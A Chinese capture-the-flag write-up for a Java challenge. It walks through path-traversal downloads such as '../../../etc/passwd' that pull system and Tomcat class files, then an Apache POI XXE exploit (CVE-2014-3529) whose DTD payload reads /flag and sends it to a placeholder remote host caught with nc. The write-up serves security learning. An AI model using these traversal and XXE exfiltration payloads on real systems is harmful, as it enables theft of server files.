ctf

Flag{网鼎杯之java代码审计入门} - file-in-java

Posted by sule01u on July 31, 2023

Flag{网鼎杯之java代码审计入门}

一、赛题截图

image-20230730181311006

二、接口测试

  1. 我们先上传文件抓包,发送到repeter

    image-20230730181727635

    响应如下

    截屏2023-07-30 18.27.06

  2. 我们使用下载接口去下载一个不存在的文件,回显“资源被删除”image-20230730182626919

     - 说明系统可能去查找了这个文件,那我们能不能去下载/etc/passwd文件,但是还不知道相对路径是啥
    

三、任意文件读取漏洞验证

  • 那我们去测试一下下载文件夹

    image-20230731013406841

  • 我们根据路径可以推测到/etc/passwd文件路径

    1. 上传文件的路径为
    /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/上传文件名
      
    2. 那/etc目录是跟/usr一层级的,上图有九层目录,应该回退九层
    /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/../../../../../../../../../etc/passwd
      
    3. 则我们下载文件的参数应该为
    ../../../../../../../../../etc/passwd
    
  • 根据上面推理构造请求,成功获取/etc/passwd文件内容,yeah

    image-20230730184024947

  1. 拿到了/etc/passwd的文件内容有什么用,怎么才能getshell啊

    通过上面的一些测试,我们可以知道任意文件下载的漏洞存在该系统, 上传shell也无法执行

    那我们只能看看能不能拿到源码审计看看了

  • 通过暴露的上传文件存储的路径得知web服务器为tomcat

    /usr/local/tomcat/webapps/file_in_java/WEB-INF/upload/0/10/

  • 前置知识

    Tomcat的web.xml是一个XML文件,用于配置Web应用程序的部署信息和其他相关配置。 它通常位于Web应用程序的WEB-INF目录下。 web.xml文件中包含了大量的配置信息,其中最重要的是Web应用程序的servlet、过滤器和监听器等组件的配置,是tomcat的核心配置文件。

  • 读取web.xml文件,可以看到有三个接口类

    image-20230730193751174

  • 拿到接口class文件,根据tomca结构,我们知道class文件都在WEB-INF目录下

    构造路径../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/具体类路径,成功获取文件内容

    image-20230730195933666

  • 浏览器通过下载三个类文件,如下图所示

    image-20230730200123970

四、代码审计

idea打开这几个class文件

  • 查找flag关键词,文件名只要包含flag字符就会被ban

    image-20230730201346435

  • 看看其他文件有没有能够下手的地方

    • ListFileServlet.class文件,只是返回保存的文件名作用,应该是通过上传接口完成之后调用的

      image-20230730201850058

    • 仅剩UploadServlet接口了,发现可疑的一段代码,里面提到了xlsx文件格式,好像做了不一样的处理

      image-20230730202234209我们让chatgpt给我们解释一下代码啥意思啊!

      首先说一句chatgpt真香啊

      关注图片标红部分,说明我们要通过一个excel-xx.xlsx文件利用apache poi库搞事情

      image-20230730202533041

五、Apache POI库漏洞利用

Apache POI 简介是用Java编写的免费开源的跨平台的 Java API,Apache POI提供API给Java程式对Microsoft Office(Excel、WORD、PowerPoint、Visio等)格式档案读和写的功能

  • 即然用到了POI库,那我们看看这个库是否有漏洞存在!代码中给出的POI库版本为3.10,是否有漏洞,google一下你就知道

    CVE-2014-3529       apache poi 在3.10.1之前存在XXE漏洞
    
  • 复现CVE-2014-3529

    • 新建一个excel文件并解压(linux unzip命令即可解压 ‘.xlsx’ 文件)

      mkdir tmp_excel       //新建一个目录存放解压后的文件目录
      touch 1.xlsx           //新建一个excel文件
      unzip 1.xlsx  -d tmp_excel      //解压到指定目录
      cd tmp_excel                    //进入目录
      ls                              //查看解压后的文件
      

      解压后的效果如下图所示:

      截屏2023-07-30 21.36.45

    • 在[Content_Types].xml文件中添加payload,(在第一句和第二句中间添加下面给出的payload)

    payload解释

    代码中的实体 remote 定义了一个外部实体,其系统标识符(System Identifier)为 “http://your-remote-ip/file.dtd”。然后,通过 %remote; 引用了这个实体,将其包含到当前XML文档中。然后通过该外部实体 %int;%send; 执行一些操作

     <!DOCTYPE convert [
     <!ENTITY % remote SYSTEM "http://you-remote-ip/file.dtd">
     %remote;%int;%send;
     ]>
    

    效果如图所示

    截屏2023-07-30 21.23.33

    • 打包回xlsx文件,根据前面的代码分析,文件名得为excel-x.xlsx

      zip excel-1.xlsx ./*
      
    • 去我们的远程服务器编辑一个file.dtd

      payload解释

      1. %file 定义了一个实体,通过 file:///flag 指定为一个文件路径。读取本地文件系统上的 flag 文件。
      2. %int 定义了另一个实体,通过 http://your-ip:port?popko=%file; 将读取到的文件内容发送给指定的IP地址和端口,我们通过nc在该ip所在服务器上监听这里指定的端口。

      3. 目的是读取 flag 文件,并将其内容发送到指定的服务器上。
      <!ENTITY % file SYSTEM "file:///flag">
      <!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://your-ip:port?popko=%file;'>">
      

      远程服务器80端口启动http服务,使通过http://your-remote-ip/file.dtd能访问到file.dtd资源

    • nc监听端口,准备接受flag文件内容

      nc -lvvnp port        //port为你file.dtd里指定的端口
      
  • 上传xlsx文件测试

    image-20230731013600470

    http服务成功接收到file.dtd的请求

    image-20230730220550321

    nc成功收到flag文件的内容

    image-20230730220348251

六、总结

  • 任意文件下载(读取)
  • Apache POI XXE

脚踏实地的每天进步一点点,不跟别人相比,只超越自己就够了。